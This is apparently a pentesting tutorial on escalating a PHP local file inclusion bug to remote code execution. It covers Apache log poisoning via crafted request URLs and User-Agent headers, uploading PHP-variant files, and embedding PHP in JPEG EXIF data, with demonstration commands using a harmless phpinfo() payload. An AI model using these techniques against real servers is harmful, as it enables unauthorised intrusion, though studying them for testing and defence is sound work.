Turning php local file inclusion into remote code execution

Sometimes you discover a local file inclusion vulnerability (LFI) in a php webapp but it does not allow you to include remote files: The admin has done her job well and disabled allow_url_fopen (or just allow_url_include). So what other ways are there to get your code into a PHP process?

The beauty of the PHP interpreter is that you can feed it quite some garbage, then valid PHP code, then again garbage, and it will execute your PHP code happily. So, if we manage to inject PHP code nearly anywhere in a local file on the host that can be accessed by the webserver, we might load that file via the LFI vulnerability and our injected code is executed. This turns the local file inclusion into a remote code execution vulnerability.

How that might be achieved depends on the server configuration and the functionality of the webapp. Here are two ways how we might succeed.

1. Log file poisoning

Lets assume the server is running Apache in its standard configuration. By default, Apache logs all requests in the file access.log which can typically be found in /var/log/apache2/access.log. An entry looks like this:

 127.0.0.1 - - [18/Apr/2016:11:15:58 +0200] "GET /css/espresso.css HTTP/1.1" 200 1426 "http://localhost/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"

Besides the ip and timestamp, you see the HTTP Method GET, the request string /css/espresso.css, the protocol HTTP/1.1, the status code 200, the size of the response in bytes 1426 and the client submitted User-Agent: Mozilla/5.0 .... (For a more detailed explanation of Apache logs, have a look at the manual.)

We can easily inject our PHP code here by sending a customized request:

curl "http://127.0.0.1/?<?php phpinfo(); ?>"

This produces the following in access.log:

127.0.0.1 - - [18/Apr/2016:11:44:20 +0200] "GET /?<?php phpinfo(); ?> HTTP/1.1" 200 9789 "-" "curl/7.35.0"

If we then manage to include the access.log via a LFI vulnerability, our code gets executed. Note that you can also insert your code in the User-Agent string:

curl -A "<?php phpinfo(); ?>" http://127.0.0.1/empty

results in:

127.0.0.1 - - [18/Apr/2016:11:30:22 +0200] "GET /empty HTTP/1.1" 404 437 "-" "<?php phpinfo(); ?>"

In a real pentest situation, you have to try out what works. Just be sure to not mess up the PHP code. If you have injected flawed code and the PHP interpreter chokes on it before you achieve your goal, you (probably) have no way to correct your mistake in the file and would have to wait for another run of logrotate or similar before you can use the logfiles again for code injection.

Sometimes it is also suggested to inject code into the error log. I could not get that to work on my default install of Apache, but depending on the configuration, 404 (File not found) info might also be written to the error.log. So by accessing files that are not present you might also be successful in poisoning apache’s error log:

curl http://127.0.0.1/<?php phpinfo(); ?>

In my configuration, however, this also got written to the access log:

127.0.0.1 - - [18/Apr/2016:10:25:09 +0200] "GET /<?php phpinfo(); ?>" 404 455 "-" "-"

2. Exploiting the webapp

If you do not succeed in log file poisoning you can check if it is possible to exploit the webapp. Ideally, the webapp allows you to upload files.

2.1 Upload code files directly

This is the most direct approach and though it would under most circumstances be a blatant security flaw from a developer to allow uploading *.php files, it’s still worth giving it a try and upload a *.php file or any valid variant: *.php5, *.php4, *.php3, *.phtml. If you succeed, you might even be able to call these files directly via your web browser. What has that to do with LFI? Nothing. But if you are already at it, it is worth checking out. If it does not work, however, you can try to hide your PHP code in other file types, like *.txt, upload those and include them via the LFI vulnerability. As in the case of the access logs, the code will get executed.

A file type that many web applications allow users to upload is an image file. What is less known, is that it’s also possible to embed PHP code in image files.

2.2 Upload manipulated images

Code can easily be injected into jpeg images via the exif-tool and an exif tag:

exiftool -imagedescription="<?php phpinfo(); ?>" php-med-trans.jpg

Open that image in a hexeditor and you will notice the PHP-Code:

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000000  ffd8 ffe0 0010 4a46 4946 0001 0102 001c  ......JFIF......
0x00000010  001c 0000 ffe1 0076 4578 6966 0000 4d4d  .......vExif..MM
0x00000020  002a 0000 0008 0005 010d 0002 0000 0014  .*..............
0x00000030  0000 004a 011a 0005 0000 0001 0000 005e  ...J...........^
0x00000040  011b 0005 0000 0001 0000 0066 0128 0003  ...........f.(..
0x00000050  0000 0001 0003 0000 0213 0003 0000 0001  ................
0x00000060  0001 0000 0000 0000 3c3f 7068 7020 7068  ........<?php ph
0x00000070  7069 6e66 6f28 293b 203f 3e00 0000 001c  pinfo(); ?>.....

If you feed this image to the PHP interpreter (or include* or require* it), the PHP code will get executed:

php php-med-trans.jpg | more
���
PHP Version => 5.5.9-1ubuntu4.14

System => Linux threeone 3.13.0-76-generic #120-Ubuntu SMP Mon Jan 18 15:59:10 U
TC 2016 x86_64
Build Date => Oct 28 2015 01:31:23
Server API => Command Line Interface
Virtual Directory Support => disabled
Configuration File (php.ini) Path => /etc/php5/cli
Loaded Configuration File => /etc/php5/cli/php.ini
[...]

Note that you can also get pretty experimental here with different filetypes and a hex editor. You do not need to write your code into the exif tags but can easily experiment with overwriting arbitrary data in a file of any type to place your code there. Just make sure not to overwrite typical file type signatures to still let it pass possible checks by PHP.

However, any success with uploading manipulated files depends on how the application post-processes those files. While a typical check for file signatures can be easily circumvented, conversions to different formats might not.

Still this should remind you that LFI is, given some not so unusual circumstances, an easily underestimated vulnerability - and not only because of your typical /etc/passwd file include.